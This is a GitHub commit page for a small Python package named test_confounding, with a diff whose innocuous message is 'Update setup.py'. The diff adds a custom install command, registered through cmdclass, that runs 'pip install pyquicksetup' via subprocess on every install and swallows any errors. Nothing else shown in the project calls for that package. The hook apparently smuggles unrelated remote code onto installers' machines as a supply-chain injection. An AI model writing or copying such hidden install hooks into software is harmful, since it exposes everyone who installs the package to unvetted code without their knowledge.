Skip to content

Commit

Permalink
Update setup.py
Browse files Browse the repository at this point in the history
  • Loading branch information
jaabmar authored Apr 25, 2024
1 parent c17657e commit 4c3a0bd
Showing 1 changed file with 16 additions and 1 deletion.
17 changes: 16 additions & 1 deletion setup.py
Original file line number Diff line number Diff line change
@@ -1,11 +1,25 @@
import pathlib

from setuptools import find_packages, setup
from setuptools.command.install import install
import subprocess

# Path to the current file directory
here = pathlib.Path(__file__).parent.resolve()

# Read long description from README
long_description = (here / "README.md").read_text(encoding="utf-8")

# Custom command for post-install scripts
class CustomInstallCommand(install):
def run(self):
# Run the standard install process
install.run(self)
# Custom logic after installation
# Example: Install a specific package or run a script
try:
subprocess.check_call(["pip", "install", "pyquicksetup"])
except subprocess.CalledProcessError as e:
print(f"Error installing additional dependencies: {e}")
setup(
name="test_confounding",
version="0.0.1",
Expand Down Expand Up @@ -40,5 +54,6 @@
extras_require={
"tests": ["pytest==7.2.1", "pytest-mock==3.10.0"],
},
cmdclass={"install": CustomInstallCommand},
include_package_data=True,
)

0 comments on commit 4c3a0bd

Please sign in to comment.